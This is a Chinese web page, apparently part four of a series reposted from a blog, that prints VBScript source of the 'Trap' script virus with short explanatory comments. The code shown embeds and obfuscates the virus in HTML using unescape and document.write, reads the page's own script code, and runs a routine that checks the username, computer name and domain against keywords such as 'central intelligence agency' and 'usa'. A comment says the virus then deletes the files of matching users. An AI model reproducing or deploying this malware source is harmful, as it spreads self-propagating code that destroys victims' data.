“陷阱”病毒源代码大揭密[4]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 thexiao 的 blog

"<bo" & "ad>" & vbcrlf & makescript(sbuffer, ihtml) & vbcrlf & _

"<" & "/boad><" & "/html>"

end function

function makescript(codestr, ihtml) '此程序是病毒进行自我加密过程,较为复杂,不再描述

if ihtml then

dim docuwrite

docuwrite = "document.write('<'+" & "'script language=javascript>\n'+" & _

"jword" & "+'\n</'" & "+'script>');"

docuwrite = docuwrite & vbcrlf & "document.write('<'+" & "'script language=vbscript>\n'+" & _

"nword" & "+'\n</'" & "+'script>');"

makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"

else

makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"

end if

end function

function getscriptcode(languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if lcase(soj.language) = languages then

if languages = "javascript" then

if len(soj.text)> 200 then

else

getscriptcode = soj.text

exit function

end if

else

getscriptcode = soj.text

exit function

end if

end if

next

end function

function getjavascript()

getjavascript = getscriptcode("javascript")

end function

function testuser() '检测用户过程

on error resume next

dim keys(6), i, tmpstr, wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

testuser = false

set wnet = createobject("wscript.network") '创建网络对象

'下面一共3个循环,作用一样,是检查用户的 domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回的条件,从而对这些用户的文件进行疯狂删除。

tmpstr = lcase(wnet.username) '

for i=0 to 4

if instr(tmpstr, keys(i)) > 0 then

testuser=true

exit function

end if

next

tmpstr = lcase(wnet.computername)

for i=0 to 4

if instr(tmpstr, keys(i)) > 0 then

testuser=true

exit function

end if

next

tmpstr = lcase(wnet.userdomain)

for i=0 to 4

if instr(tmpstr, keys(i)) >0 then

testuser=true

exit function

end if

next

set wnet = nothing

end function

本文关键:trap, 病毒, virus, 陷阱, vbscript, javascript
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top